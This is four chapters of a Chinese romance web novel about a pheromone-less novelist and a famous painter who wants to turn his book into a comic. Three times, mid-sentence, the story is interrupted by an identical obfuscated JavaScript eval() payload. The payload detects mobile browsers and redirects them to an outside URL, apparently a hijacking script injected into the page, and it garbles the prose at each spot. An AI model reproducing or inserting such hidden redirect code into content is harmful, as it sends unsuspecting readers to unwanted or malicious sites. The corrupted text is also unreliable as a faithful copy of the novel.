《无题有解》 1. 第1章 晚上十一点十七分,林昱发完最后一章。 光标在“全文完”三个字后面闪了两秒,他点了发布,然后合上电脑。窗外的城市已经安静下来,只剩下远处高架上车流隐约的轰鸣,像某种遥远的海浪声。 这是他写完第七本小说的夜晚。 和前面六次一样,没有庆功,没有失眠,没有特别的感觉。他起身倒了杯水,准备像往常一样洗澡睡觉,明天醒来再想下一本写什么。 手机响了。 不是读者的评论提醒,是编辑周姐。 “睡了?” “刚发完,才准备睡,有什么事?” “那你现在别睡。”周姐发了个表情包,一只猫疯狂摇晃另一只猫,像是想要唤起林昱的瞌睡虫,“跟你说个事,大事。” 林昱端着水杯坐回电脑前,单手打字:“说。” “你这本书,有人要了。” “是影视化吗?影视的话我拒绝。” “不是影视。”周姐停顿了一下,“是漫画。有人想改编成漫画。” 林昱打字的手停住。 他的书不是没被问过改编。影视来过,广播剧来过,甚至有人问过舞台剧。但漫画是第一次。如果对方实力可以的话他愿意试试。 “谁?” “说出来你可能不信。”周姐发了个深呼吸的表情,“沈遂宁。” 水杯在唇边顿了一下。 “沈遂宁。”他不经意地念道。 那个从来不接商业合作、从来不画别人作品的沈遂宁。微博简介只有三个字“画画的”,粉丝八百万,半年不发一条,发了就是热搜。 那个去年画展上,有一整面墙只挂了一幅画,画上是空白的琴谱,标题叫《无题》被全网追问“你在等谁”的沈遂宁。 那个传闻中信息素感知能力是常人三倍、能“看见”信息素颜色的Alpha。 周姐又发了一条消息,“他主动找过来的。看了你新书,说想画。不是合作,是他自己想画。你懂这区别吗?他自己想画。” 林昱看着屏幕。 他写过很多人。写过Alpha的克制,写过Omega的沉沦,写过信息素如何让两个人天旋地转地靠近。他擅长写人心,写那些说不出口的、藏起来的、连本人都没察觉的东西。 但他没写过一个人,让他不知道怎么回复。 “他为什么想画这本?” 消息发出去,对方正在输入的提示闪了很久。 然后是一张截图。 是沈遂宁的微博——最新一条,五分钟前发的。 配图是林昱新书的封面,纯白的底,只有一行书名:《神弭》。下面是一行小字:林昱著。 而沈遂宁的配文是: “这本书里,有一个人我看不见,但我想画下来。” 林昱盯着那行字。 看不见。 他忽然想起自己在书里写过一句话: “有些人的出现,像一道光。你还没看清光从哪里来,就已经被照亮了。” 手机又震了一下。 不是周姐。 是一个新消息提醒。 头像是一张纯黑色的画,什么也看不见。昵称只有一个字母: S 内容只有一行字: “林老师,我是沈遂宁。你的男主角,我想见他。” 林昱看着那条消息,看了很久。 窗外的城市彻底安静了。他拿起手机,打了几个字,删掉,又打,又删。 最后他发了两个字: “您好。” 发出去的瞬间他就后悔了。 您好?您什么好?人家说要见你的男主角,你跟人家说您好? 对方正在输入。 然后是一张图片。 是一张手绘草图——林昱书里的男主角,站在雨里,侧脸,看不清表情。线条很潦草,但那种孤独感,那种明明站在人群里却像独自一人的感觉,全在纸上。 林昱的呼吸停了一秒。 “我没见过他。”沈遂宁的消息跟过来, “但他在我脑子里长这样。像吗?” 林昱盯着那张图。 像。 太像了。 像到他觉得这个人不是在画他的男主角,是在画他自己。 “什么时候方便?”沈遂宁又发了一条,“我想当面聊。有些东西,文字说不清楚。” 林昱的手指悬在屏幕上方。 见面。 他见过很多人。采访的记者、合作的编辑、慕名而来的读者。他知道怎么礼貌地微笑,怎么恰到好处地回应,怎么在说完“很高兴认识你”之后转身就把对方忘掉。 但这个人…… 他低头看了一眼那张图。 “下周吧。”他打字,“我最近有点忙。” 发完他把手机扣在桌上,起身去洗澡。 水声哗哗地响,他站在花洒下面,脑子里全是那幅画。 那个我看不见的人。 他想起自己是一个信息素封闭的人。医生说过,天生如此,无法感知任何信息素,也无法被任何Alpha感知。医学上认为他这种Omega“无法与Alpha正常结合”。 他从来不在乎。 写了几本情感小说,被人夸“最懂人心”,被人骂“自己都没谈过恋爱写什么恋爱”。他都无所谓。他说过一句话,被读者奉为金句,也被读者拿来嘲笑他: “写一个人,比爱一个人安全。” 他一直觉得很安全。 直到刚才。 三天后,林昱坐在咖啡馆里,看手机上周姐发来的消息。 “约了今天下午三点,你别放鸽子啊我跟你说,沈遂宁这种人不是你想约就能约的,是他想见你你才有这个机会——” “知道了。” “你穿得体点,别又穿你那件灰卫衣,你是去见人不是去扔垃圾——” “知道了。” “他比你高,你到时候别往人家跟前站太近,显得你更矮——” 林昱打字的手顿住。 “?什么意思。” 周姐发了个捂嘴笑的表情包:“我没跟你说吗?沈遂宁一米八九。你不是一七八吗,站一起正好差十一厘米,你仰头他低头,画面挺和谐的。” 沈知序放下手机,低头看了一眼自己今天穿的鞋。 平底帆布鞋。 他看了一眼时间,还来得及回去换双带跟的。 然后他放弃了。 仰头就仰头吧。又不是去比身高。 三点差五分,他坐在靠窗的位置,面前放着一杯美式,手机里是沈遂宁的头像——还是那张纯黑色的画。 周姐说得没错,他穿了那件灰卫衣。 门口的风铃响了一下。 林昱抬起头。 然后他的咖啡杯停在半空中。 走进来的人穿着一件黑色的薄外套,里面是简单的白T,背着个帆布包,包上沾着疑似颜料的痕迹。五官比他想象中冷一些,鼻梁很高,眉眼很淡,像他画里的线条——看起来锋利,但仔细看,藏着东西。 比他想象中好看。 也比想象中高。 沈遂宁站在门口扫了一眼,目光落在他身上,然后径直走过来。 “林老师,很高兴见到你。” 他低头看林昱,伸出手。 林昱站起来,伸出手,发现确实要抬头。 十一厘米。周姐算得挺准。 “沈老师。”他笑了笑,“久仰。” “我看过你所有书。”沈遂宁坐下来,没有寒暄,直接说,“最新那本我看了四遍。” 林昱愣了一下。 四遍。 他自己的书他都不会看四遍。 “为什么?” “因为有一个地方我没看懂。”沈遂宁看着他,眼睛很黑,像他的头像那幅画,“男主角最后为什么不告而别?他明明爱那个人。” 林昱端起咖啡喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301762|198663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一口。 他写过很多次这种问题。标准的回答是“留白让读者自己想象”,文艺一点的回答是“有些告别不需要理由”。 但他看着沈遂宁的眼睛,忽然不想说那些话。 “因为他怕。” “怕什么?” “怕那个人看见他。” 沈遂宁没说话,只是看着他。 林昱放下咖啡杯,发现自己被看得有点不自在。这个人看人的方式不太一样——不是打量,是“在看”。像画画之前观察模特那种看,专注的,安静的,把你从头到尾收进眼睛里。 “你呢?”林昱把话题抛回去,“你为什么想画这本?” 沈遂宁沉默了两秒。 “因为你书里那个人,”他说,“他没有信息素。” 林昱的指尖微微收紧。 “别人都以为他是Beta。”沈遂宁继续说,“但我知道不是。Beta也会有信息素,只是淡。他没有。从头到尾,他什么都没有。” 他看着林昱,目光往下落了半寸——是信息素腺体的位置。 “我看不见他。” 林昱没有说话。 窗外的阳光照进来,落在桌面上。他忽然想起自己的秘密——那个除了医生没有告诉任何人的秘密。他是一个信息素封闭的人。不是Beta,是Omega,但没有信息素。感知不到,也无法被感知。 沈遂宁说看不见他的时候,语气里没有任何遗憾,反而像在说一件珍贵的事。 “你站起来一下。”沈遂宁忽然说。 “什么?” “站起来一下。” 林昱莫名其妙地站起来。 沈遂宁也站起来,往他跟前走了一步。 十一厘米的距离,现在变成了面对面,只剩半步。林昱需要仰头,沈遂宁需要低头——就像周姐说的,画面挺和谐的。 沈遂宁低头看着他,没说话,就那么看了两秒。 然后他退后一步,坐下来。 “好了。”他说,语气很平常。 “什么好了?”林昱坐下来,完全没明白。 沈遂宁打开他的帆布包,从里面掏出一个速写本,翻到最新的一页,推到林昱面前。 纸上是一幅画——一个人站在窗边,侧脸,阳光落在他身上,线条很简单,但那个人是他。是刚才那两秒钟的他。 底下有一行小字: “我看见他了。” 林昱看着那行字,看了很久。 “你不是说看不见吗?” “信息素看不见。”沈遂宁说,“但你能看见。” 他把速写本收回去,合上,放回包里。 “下周我能去你那边聊吗?带些分镜草稿。今天只是想来认识一下——看看你长什么样。” 林昱张了张嘴,想说点什么,但什么都没说出来。 沈遂宁站起来,低头看他一眼,嘴角似乎动了动——非常轻微,不仔细看根本看不出来,像是一点笑意。 “对了,”他说,“一米七八挺好的。不用仰太高。” 然后他转身走了。 风铃响了一声。 林昱大脑宕机了,他坐在原地,看着那扇门,看了十秒。 手机响了。周姐的消息: “怎么样?见了没?他没嫌弃你矮吧?” 林昱低头打字: “他没提。” 发完他觉得不对。 他没提。但他好像画了我。他还说我不用仰太高。 他又看了一眼对面空着的位置。 桌上留着一张纸片,不知道什么时候放的。上面是刚才那幅画的缩小版——铅笔画的,只有几笔——旁边写了一句话: “男主角我见到了。可以画了。” 林昱把那张纸片拿起来,看了很久。 窗外有风吹过,阳光落在他的手指上。 他发现自己第一次不太确定——写一个人,到底安不安全。 (第一章完) 2. 第2章 沈遂宁走后,林昱在咖啡馆又坐了二十分钟。 咖啡彻底凉了。他看着窗外,阳光从梧桐叶的缝隙里漏下来,落在地上,一晃一晃的。 手机响了几次,他没看。 那张纸片被他折了两折,塞在卫衣口袋里。纸很薄,隔着布料能感觉到一个浅浅的方形的边。 周姐又发消息了。 “人呢?聊得怎么样?怎么不回?” 林昱打字:“回了。” “就这?回了?聊了两个小时你就回我一个‘回了’?” “没两个小时。二十分钟。” 对面沉默了三秒。 “???二十分钟???不是大哥,沈遂宁大老远跑过去就跟你聊二十分钟???” 林昱想了想,打了几个字,又删掉。 他没法解释那二十分钟里发生了什么。 一个人走进来。坐下来。问他问题。让他站起来。画了他。然后走了。 二十分钟。 足够让一个人被另一个人看见。 “聊完了。”他发过去。 那他怎么说?改编的事定了没?” “下周他来我这边聊。” 周姐发了一串表情包,从放烟花到转圈圈到撒花,最后一条是: “我就知道!我们小昱出息了!沈遂宁主动上门!这排面!我们以后就能吃香的喝辣的了!” 林昱看着那行字,没回。 他起身结账,走出咖啡馆。 三月的风还带着点凉意,吹在脸上很舒服。他沿着街往地铁站走,经过一家画廊的橱窗,脚步停了一下。 橱窗里挂着一幅画。 不是沈遂宁的,但风格有点像,角落里有一点颜色。画的名字贴在旁边:《等》。 林昱站在橱窗前看了几秒。 然后他低头,把口袋里的那张纸片拿出来,展开。 铅笔画的线条,几笔就勾出一个人。侧脸,站在窗边,阳光落在身上。很简单,但你能看出来那是你。 底下那行字: 我看见他了。 他看了很久。 手机震了。 不是周姐。 是那个纯黑色的头像。 沈遂宁: “到家了。” 林昱盯着那三个字。 三分钟前发的。他刚才走路没看手机。 他想回点什么。“好的”太冷。“辛苦了”太客套。“画得很好”太重。 最后他打了两个字: “嗯嗯。” 发出去的瞬间他闭了闭眼。 嗯嗯。人家专门告诉你到家了,你跟人家嗯嗯。不是你这个人啊。 对面正在输入。 然后: “那张画别扔。” 林昱打字的手停了一下。 “没扔。” “嗯。” 就一个“嗯”。没了。 林昱看着那个“嗯”,看了五秒。 他发现自己完全不知道这个人到底在想什么。 接下来三天,林昱没出门。 他把自己关在书房里,说是要构思新书,但其实一个字都没写。电脑开着,文档空白,光标一闪一闪的。他坐在那里,脑子里全是别的东西。 比如那幅画。 比如那句“我看见他了”。 比如沈遂宁低头看他的那两秒钟。 他想起沈遂宁的目光——不是打量,是“在看”。像画画之前观察模特那种看,专注的,安静的,把你从头到尾收进眼睛里。 那种目光让人有点不自在,但又……不讨厌。 手机响过几次。周姐问他准备得怎么样,沈遂宁那边有没有联系。他说没有。 确实没有。 除了那句“到家了”和“嗯”,沈遂宁再没发过消息。 林昱想:大概就这样了。那天见面就是认识一下,下周聊改编,聊完该干嘛干嘛。 他把那张纸片从口袋里拿出来,放在书桌上。 这几天他拿出来看了很多次,边角有点皱了。 别扔。 他找了本书,把纸片夹进去,放在书架第二层。 然后他打开电脑,开始写新书的开头。 写了三行,删了。 又写五行,又删了。 他盯着空白的文档,忽然想起一件事。 沈遂宁说下周来他这边聊。但他没告诉沈遂宁地址。 他拿起手机,点开那个纯黑色的头像。 “沈老师,下周地址发你?” 发完他盯着屏幕。 三分钟。五分钟。十分钟。 没有回复。 他把手机扣在桌上,起身去倒水。 他回来的时候手机亮了。 沈遂宁: “我知道。” 林昱愣了一下。 “知道什么?” “地址。” “?” 对面发来一张截图。 是某地图App的页面,定位在一个小区门口。小区名字被圈了出来。 林昱盯着那张图。 那是他住的小区。 “你怎么知道?” “你书里写过。” 林昱彻底愣住了。 他写过? 他写过什么?他写的是小说,不是自传。他从来没在书里提过自己住哪儿。 他往回翻聊天记录,翻到那张截图,放大看。 小区门口有一家便利店。便利店的招牌上写着“好邻居”,旁边有一棵很大的梧桐树。 他忽然想起来了。 《神弭》第三章,男主角路过一家便利店,买了一瓶水,站在梧桐树下等雨停。他写那家便利店叫“好邻居”,门口有一棵很老的梧桐树。 那是他随手写的。 从他家楼下的便利店抄的。 他从来没想过会有人注意到。 “你……” 他打了半天,只打出一个字。 对面正在输入。 “你书里写过很多地方。咖啡馆、书店、地铁站。我记了一些。” 林昱看着那行字,不知道该回什么。 对面又发了一条: “便利店那棵梧桐,树冠往东边歪。应该是东边有遮挡,阳光不够,树自己找光。” 林昱抬头看了一眼窗外。 他住七楼,窗户朝东。楼下就是那棵梧桐,树冠确实往东边歪。他住了三年,从来没注意过。 “你去看过?” “路过。” 林昱没再问。 他看着窗外那棵梧桐,看了很久。 周五下午,沈遂宁发来一条消息: “明天下午两点,方便吗?” 林昱回:“方便。” 然后他开始收拾屋子。 其实没必要收拾。他一个人住,不乱,也没什么见不得人的东西。但他还是把书桌整了整,把沙发上堆的几本书放回书架,把茶几上那个三天没洗的杯子拿去洗了。 洗杯子的时候他看了一眼镜子。 头发有点长了,该剪了。黑眼圈还在,写书那阵熬的,这几天也没补回来。卫衣?换一件吧。穿那件浅灰的,领口没变形。 他对着镜子看了看。 又不是去相亲。 他把杯子放下,走回客厅。 书架第二层,那本夹着纸片的书露出一截。 他站在那里,看着那本书,看了几秒。 然后他走过去,把书抽出来,翻到夹纸片那一页。 纸片还在。 他看着那幅画,看着那行字。 我看见他了。 门铃响了。 林昱手一抖,书差点掉地上。他把纸片夹回去,书塞回书架,深吸一口气,走过去开门。 门外站着沈遂宁。 还是那件黑外套,还是那个沾着颜料的帆布包。头发好像比上次短了一点,露出干净的鬓角。他站在门口,低头看林昱,没说话。 林昱发现自己又要仰头。 十一厘米。挺好,不用换鞋。 “沈老师。”他侧身让开,“请进。” 沈遂宁走进来,站在玄关,目光扫了一圈。 林昱忽然有点紧张。 不是那种见人的紧张。是那种——你知道这个人会“看见”很多东西的紧张。 “拖鞋。”他从鞋柜里拿出一双,放到地板上。 沈遂宁低头看了一眼。 灰色的,新的,标签还没撕。 他抬头看林昱。 林昱被看得有点不自在。 “超市买的。”他说,“不知道你穿多大,随便拿了一双。凑合穿。” 沈遂宁没说话,弯腰换鞋。 林昱发现他换鞋的时候,身高差从十一厘米变成了……不太确定。但他没多看,转身往客厅走。 “坐。”他指了指沙发,“喝水还是咖啡?” “水。” 林昱去厨房倒水。 回来的时候,沈遂宁站在书架前面。 不是随便站着看。是站在书架前面,目光从一排书扫到另一排书,很慢,像在看什么东西。 林昱把水杯放在茶几上,走过去。 “有想看的?” 沈遂宁没回答。他抬起手,指了指书架第二层——那本夹着纸片的书。 “这本。” 林昱愣了一下。 那本是他自己的书。《神弭》之前的那一本,叫《夜航》。写一个男人在夜班轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301763|198663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渡上遇见另一个人,什么都没发生,只是并排坐了一夜。卖得一般,但他自己挺喜欢。 “这本怎么了?” 沈遂宁转过头看他。 “你书里写,”他说,“轮渡靠岸的时候,天快亮了。那个人看着岸边越来越近,忽然想,要是船永远不开到就好了。” 林昱没说话。 那是他写的。他记得写那句话的时候是凌晨三点,窗外什么声音都没有,他一个人坐在电脑前,不知道自己为什么要写这句话。 “后来呢?”他问。 “没有后来。”沈遂宁说,“靠岸了。各走各的。” 他看着林昱,目光很静。 “就像你这本书。” 林昱忽然明白他在说什么。 《夜航》的结局,那两个人什么都没发生。天亮,靠岸,分开。读者问他为什么,他说“有些故事不需要结局”。 现在沈遂宁站在他书架前面,用一句话把他那本书翻了出来。 “你每一本都看过?”林昱问。 “嗯。” “多少本?” “七本。包括最新那本。” 林昱张了张嘴,不知道该说什么。 七本。从第一本到最新那本。加起来两百多万字。 这个人全看了。 “那本,”沈遂宁指了指书架第三层,“是港版?” 林昱看过去。是他第一本书的港版,封面不一样,印数很少,他自己只有两本。 “嗯。你怎么知道?” “封面颜色。”沈遂宁说,“内地版是灰的,港版是蓝的。你书架上这本是蓝的。” 林昱看着他。 这个人走进来不到五分钟,已经把他书架看了个遍。不仅看了,还记住了。不仅记住了,还分得清内地版和港版的区别。 “你……”林昱顿了顿,“到底看了多少遍?” 沈遂宁转过头,目光落在他脸上。 “够用了。” 林昱没听懂。 “什么够用?” “够画出来。” 沈遂宁说完,走到沙发边,把帆包打开,从里面掏出一个速写本——不是上次那个小的,是一个大的,A4大小,有点厚。 他翻开,递过来。 林昱接过来,低头看。 第一页:一个人站在雨里。侧脸,看不清表情。和上次那张草图一样,但更细致了,雨丝是白色的线条,落在他肩上,肩上那一片空白——像是雨水,又像是光。 第二页:一个人坐在窗边。阳光从侧面照进来,落在他身上。光线被画成很浅的灰,周围都是留白,只有那一片亮。 第三页:一个人在写东西。低着头,侧脸,看不清在写什么。桌上有一盏台灯,灯光只照亮他手边那一小块地方,其他地方都是暗的。 第四页、第五页、第六页…… 林昱一页一页翻过去。 每一页都是同一个人。 同一个他看不见脸、但一眼就知道是谁的人。 是他。 是他书里的男主角。 也是他。 翻到最后一页,他停住了。 这一页没有画。只有一行字: “我想画的那个人,我见到了。” 林昱看着那行字,看了很久。 他抬起头,发现沈遂宁正在看他。 阳光从窗外照进来,落在地板上。客厅里很安静,只有远处隐约的车声。 林昱想说什么,但什么都没说出来。 沈遂宁伸出手,把速写本轻轻合上,放回包里。 “下周开始画分镜。”他说,“有问题吗?” 林昱摇头。 沈遂宁站起来。 “那我走了。” 林昱跟着站起来。 走到门口,沈遂宁换鞋,林昱站在旁边。他看着沈遂宁弯腰系鞋带,忽然想起一个问题。 “你刚才说够用了,”他问,“够什么用?” 沈遂宁直起身,低头看他。 两秒。三秒。 然后他说: “够画你。” 他拉开门,走出去。 门关上的声音很轻。 林昱站在原地,看着那扇门。 窗外有风吹过,书架上的书页轻轻响了一下。 他走到书架前,把第二层那本书抽出来,翻到夹纸片那一页。 纸片还在。那幅画还在。那行字还在。 我看见他了。 他把书合上,放回去。 阳光落在他手背上,温的。 他发现自己今天第二次想起那句话—— 写一个人,比爱一个人安全。 好像不太安全。 (第二章完) 3. 第3章 那天之后,林昱开始注意一些以前从来不会注意的东西。 比如楼下那棵梧桐。他每天出门都会看一眼——树冠确实往东边歪,东边那栋楼挡了阳光,树自己往有光的地方长。 比如便利店的招牌。他买了三年东西,从来没注意过“好邻居”三个字是什么字体。现在他知道了,是楷体,红色,晚上会亮灯。 比如他自己。 他照镜子的次数变多了。不是自恋,是好奇——沈遂宁看他的时候,到底看见了什么? 那张纸片还夹在书里。他没再拿出来看,但知道它在那儿。 周姐打电话来问进展,他说“还行”。周姐问见面聊得怎么样,他说“挺好”。周姐问那到底什么时候开始画,他说“下周”。 下周。下个周。他也不知道具体是哪天。 沈遂宁没再发消息。 林昱想:可能就这样了。那天来看了,画了,说了“够画你”,然后就没有然后了。 他把手机放在桌上,打开电脑,继续写新书。 写了三行,手机亮了。 不是消息,是微博推送。 “您关注的用户@沈遂宁发布了新动态。” 林昱愣了一下。 他什么时候关注了沈遂宁?好像没有。但推送不会错。 他点进去。 沈遂宁的微博,粉丝八百多万,关注0,半年没更新。上一次更新还是去年画展的宣传。 现在最新一条,五分钟前发的。 没有配图。只有一句话: “分镜画完了。下周可以开始。” 林昱盯着那行字。 分镜画完了。下周可以开始。 开始什么?开始改编?开始画正稿?开始——什么? 他往下翻评论。 热评第一:“?老师您终于活了” 热评第二:“所以您在画什么?” 热评第三:“是不是上次说的那本书?《神弭》?” 热评第四:“老师您能不能多说两句” 沈遂宁一条都没回。 林昱看着那条微博,看了很久。 他发现自己不知道该不该点赞。点赞吧,太刻意。不点赞吧,他看到了,沈遂宁那边会不会有“已读”之类的提示? 他不知道。他什么都不知道。 手机又亮了。 沈遂宁: “看到了?” 林昱打字的手顿了一下。 “什么?” “微博。” 林昱想了想,回: “嗯。” “那下周。” 林昱盯着那个“那下周”,不知道什么意思。 下周什么?下周见面?下周发分镜?下周 他打字: “下周?” “周二下午。方便吗?” 林昱松了一口气。 “方便。” “好。” 就一个“好”。没了。 林昱看着那个“好”,忽然想起一个问题。 他打字: “去哪儿?” 沈遂宁回得很快: “我工作室。” 然后发来一个地址。 林昱点开看。东四环,一个艺术区,他听过,没去过。 “行。” 对面正在输入。 然后: “你来过这边吗?” “没有。” “那我下楼接你。” 林昱看着那行字,不知道该回什么。 最后他回了一个字: “好。” 发完他把手机扣在桌上。 窗外的阳光照进来,落在他手背上。 他发现自己好像有点期待周二。 周二下午一点半,林昱站在东四环那个艺术区门口。 比他想象中安静。红砖厂房改造的,墙上爬着爬山虎,有些叶子已经红了。偶尔有几个人走过,背着画筒或者相机,看他一眼,然后走开。 他低头看了一眼自己今天穿的。 不是灰卫衣了。是一件浅蓝色的衬衫,领口扣到第二颗,外面套了一件薄毛衣。裤子是深色的,鞋是白色的——干净的,新刷的。 他也不知道自己为什么换了这么一身。 又不是去相亲。 他站在门口,拿出手机,准备发消息说“我到了”。 刚解锁,就看见一个人从里面走出来。 黑色外套,帆布包,头发比上周长了一点,被风吹得有点乱。 沈遂宁。 他走过来,站在林昱面前,低头看他。 “到了?” “刚到。” 沈遂宁没说话,转身往里走。 林昱跟上。 两个人一前一后,穿过一条两边都是画室的巷子。墙上有些涂鸦,地上有几片落叶。林昱踩着落叶走,发出轻微的咔嚓声。 沈遂宁在一扇灰色的铁门前停下,推开,侧身让开。 林昱走进去。 然后他停住了。 不是想象中的那种画室。不是那种摆满画架、颜料到处都是、乱糟糟的地方。 很大。很空。很高。 一面墙全是窗户,阳光从外面照进来,落在地板上,一块一块的亮。另一面墙挂满了画——不是成品,是草稿,各种尺寸,各种角度,各种人。 角落里有一张很大的工作台,上面堆着速写本、铅笔、颜料、咖啡杯。咖啡杯里还有半杯,应该是不久前喝的。 中间空荡荡的,只有一把椅子。 一把普通的木椅,放在阳光正中央。 沈遂宁走过去,把帆布包放在工作台上,转过身看他。 “坐。” 林昱看了一眼那把椅子。 “坐那儿?” “嗯。” 林昱走过去,坐下。 阳光正好落在身上,有点晃眼。 他看着沈遂宁。 沈遂宁没看他。他从工作台上拿起一个速写本,翻开,然后抬起头,看他。 “就这样坐着。” 林昱愣了一下。 “就这样?” “嗯。” “多久?” 沈遂宁想了想。 “画完这张。” 林昱张了张嘴,想说什么,但什么都没说出来。 他坐在阳光里,看着沈遂宁低头,铅笔落在纸上,发出很轻的沙沙声。 画室里很安静。只有铅笔的声音,和远处隐约的车声。 林昱不知道坐了多久。五分钟?十分钟?他不敢动,怕一动就打扰了。 他看着沈遂宁。 沈遂宁低着头,侧脸被阳光照出轮廓。鼻梁很高,眉骨很深,睫毛在眼睑下投下一小片阴影。他画画的时候很专注,眉头微微皱着,嘴唇抿着,偶尔抬起眼看林昱一眼,然后又低下头。 那种目光——不是打量,是“在看”。像第一次见面时那样,专注的,安静的,把你从头到尾收进眼睛里。 林昱被看得有点不自在,但又移不开眼。 他发现自己在看沈遂宁。 看他怎么低头。看他怎么抬眼看过来。看他怎么落笔。 阳光从窗户移了一点,落在他脚边。 沈遂宁停笔。 “好了。” 林昱松了一口气,又有点失落。 “我看看?” 沈遂宁把速写本转过来,递给他。 林昱低头看。 画上是同一个人——坐在阳光里,身后是大片的留白,只有他那一块是亮的。线条很少,很简单,但你一眼就能看出来那是谁。 是他。 是坐在那把椅子上的他。 “这张叫什么?”林昱问。 沈遂宁看着他。 “没想好。” 林昱把速写本还给他。 沈遂宁接过来,合上,放回工作台。 “分镜在那边。”他指了指工作台另一头,“要看吗?” 林昱站起来,走过去。 一叠纸,用夹子夹着,封面写着“神弭·分镜”。 他翻开。 每一页都是他的小说,被拆成格子,一格一格地画出来。男主角的表情、动作、眼神,女主角的侧脸、背影、沉默。雨、夜、窗、灯。 他看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301764|198663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那些画,忽然想起自己写这本书的时候。 凌晨三点,一个人坐在电脑前,写那些他从未说出口的话。 现在那些话被画出来了。 不是他的文字,是沈遂宁的画。 但他看懂了。 每一格他都看懂了。 “你……”他抬起头,看着沈遂宁,“你怎么知道我写的时候在想什么?” 沈遂宁没回答。他走过来,站在林昱旁边,低头看了一眼分镜。 “你写的时候,”他说,“想的什么?” 林昱张了张嘴。 他想说:想一个我从未见过的人。想一个永远不会出现的人。想一个我只能在纸上遇见的人。 但他没说。 他只是摇了摇头。 “没什么。” 沈遂宁看着他。 两秒。三秒。 然后他说: “那我猜对了。” 林昱愣了一下。 “猜对什么?” 沈遂宁没回答。他伸出手,翻到分镜的最后一页,指了指其中一个格子。 那个格子里,男主角站在窗边,背对着画面。窗外是夜,屋里是灯,他的影子落在地板上,很长。 “这一格,”沈遂宁说,“你写的是,他一个人在等。” 林昱没说话。 “等什么,你没写。”沈遂宁看着他,“但你写的时候,心里有人在等。” 林昱看着那幅画,看了很久。 “你怎么知道?” 沈遂宁没回答。他只是看着林昱,目光很静。 画室里的阳光又移了一点,落在地板上,温的。 林昱忽然发现自己不知道该说什么。 他想说:没有,我没有等谁。我一个人挺好的。写一个人比爱一个人安全。 但他什么都没说。 因为他想起那句话—— 够画你。 这个人画他,不是因为看见了他。 是因为看懂了他。 林昱从画室出来的时候,天已经快黑了。 他在门口站了一会儿,回头看那扇灰色的铁门。 沈遂宁没送他,只是站在门口说了句“下周见”。 下周见。 他发现自己好像开始期待“下周”了。 手机响了。周姐的消息: “怎么样?今天去画室了?” “嗯。” “怎么样?” 林昱想了想,打字: “他把分镜画完了。” “这么快?你看了吗?怎么样?” 林昱看着那行字,不知道该怎么回。 怎么样? 他想起那些画。想起阳光落在自己身上。想起沈遂宁低头看他的目光。 想起那句 你写的时候,心里有人在等。 他打字: “挺好。” 发完他把手机收起来,往地铁站走。 风有点凉了,吹在脸上很舒服。 他走着走着,忽然想起一件事。 今天一下午,沈遂宁没问过他那个问题。 没问他是Alpha还是Omega。 没问他的信息素是什么。 什么都没问。 只是画他。 他摸了一下自己的后颈——那个什么也感知不到、什么也释放不出的地方。 他想起医生说:你这种情况,很难找到愿意接受你的人。 他从来没在乎过。 现在他忽然有点不确定了。 不是不确定自己。 是不确定 如果有人愿意接受,他敢不敢接受。 地铁进站的风吹过来,凉凉的。 他走进去,找了一个角落站着。 窗外的灯光一闪一闪地过去。 他想起那幅画,那张坐在阳光里的自己。 他想起那行字还没起名字。 他想起沈遂宁说“下周见”。 他发现自己嘴角好像动了一下。 很轻。 像是一个自己都没察觉的笑。 (第三章完) 4. 第4章 晚上回去,林昱没睡着。 不是那种翻来覆去的失眠。他就平躺着,盯着天花板,脑子里一遍一遍放下午的画面—— 阳光。画室。那把椅子。 沈遂宁看他那个眼神。 还有那句:“你写的时候,心里有人在等。” 他翻了个身,脸埋枕头里。 有人在等吗? 他自己也不知道。 写了七年小说,写了那么多人怎么动心,轮到自己,什么都看不清了。 手机亮了。 他摸过来看。 沈遂宁: “到家了。” 林昱盯着这三个字。 上次见面后,沈遂宁也发了这三个字。这次又发。 他打字: “你每次都报备?” 对面正在输入。 “嗯。” “为什么?” 对面正在输入,闪了半天。 然后: “怕你不知道我到了。” 林昱看着这行字,愣了一下。 怕你不知道我到了。 这是什么说法?他到不到,跟他有什么关系? 但他没问。 他回了两个字: “到了就好。” 发完他把手机放床头柜上,继续躺着。 过了几分钟,手机又亮了。 沈遂宁: “睡不着?” 林昱一愣。 “你怎么知道?” “猜的。” 林昱想了想,回: “嗯。” “想什么?” 林昱看着这个问题,手指停在屏幕上面。 想什么? 想阳光。想画室。想你看我的样子。想那句“心里有人在等”。 但他没这么回。 他打字: “想新书。” 对面沉默了几秒。 然后: “骗人。” 林昱盯着这两个字,忽然笑了一下。 很轻,房间里就他自己,笑完他自己也没想到。 他打字: 